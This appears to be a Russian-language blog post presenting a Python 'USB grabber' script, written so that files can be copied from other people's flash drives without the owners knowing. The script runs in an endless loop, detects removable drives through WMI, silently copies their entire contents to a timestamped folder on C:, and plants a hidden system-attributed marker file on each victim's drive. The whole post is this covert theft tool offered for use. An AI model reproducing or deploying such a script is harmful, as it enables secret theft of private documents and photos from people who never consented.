Python: Grabber USB

Posted by Reason89 | Posted in

   Скорее всего у любого возникала необходимость скачать с флешки файлы, без ведома ее хозяина. Будь то какие либо фотографии, файлы по учебе или какие либо еще документы, которые вам интересны.
   Принцип программы прост. Определив наличие флешки в системе, создает в корне диска папку с датой и временем начала копирования. Затем копирует абсолютно все файлы, в новый каталог. И создает на носители файл, с названием папки, в которую было произведено копирование, чтобы не скачивать одно и то же несколько раз.
   В последующем надо разобраться с классом QSystemTrayIcon, который позволит выводить сообщение в трее, о завершении копирования.

# -*- coding: utf-8 -*-
import shutil, wmi, datetime, time, glob, os
while 1:
   c = wmi.WMI()
   for disk in c.Win32_LogicalDisk(DriveType=2):  # Находим флешку
      udisk = disk.Name
      disk = str(udisk)
      file = open(disk+"\\stat", "r+")            # Открываем файл и читаем его содержимое
      st = file.readline()                        # вдруг мы это уже копировали
      file.close()
      st = "C:\\"+st
      sp = glob.glob("C:\*")                      # Ищем на С папку что указана в файле
      if st in sp:                                # Если ее нет, то
         x = 0
      else:
         tname = datetime.datetime.now()          # Создаем новую, и копируем в нее флешку
         tname = str(tname)
         tname = tname.replace(":",".")           # Заменяем двоеточия на точки
         tname = tname[:-7]                       # Убираем миллисекунды
         dir = r"C:\\"+tname
         shutil.copytree(disk, dir)               # Копируем все дерево
         os.system("attrib -s -h "+disk+"\\stat") # Снимаем атрибуты
         file = open(disk+"\\stat", "w")          # Создаем файл и записываем в него название папки
         file.write(tname)
         file.close()
         os.system("attrib +s +h "+disk+"\\stat") # Ставим атрибуты
      time.sleep(180)                             # Таймаут, что бы была возможность безопасного извлечения флешки



Comments (0)

Отправить комментарий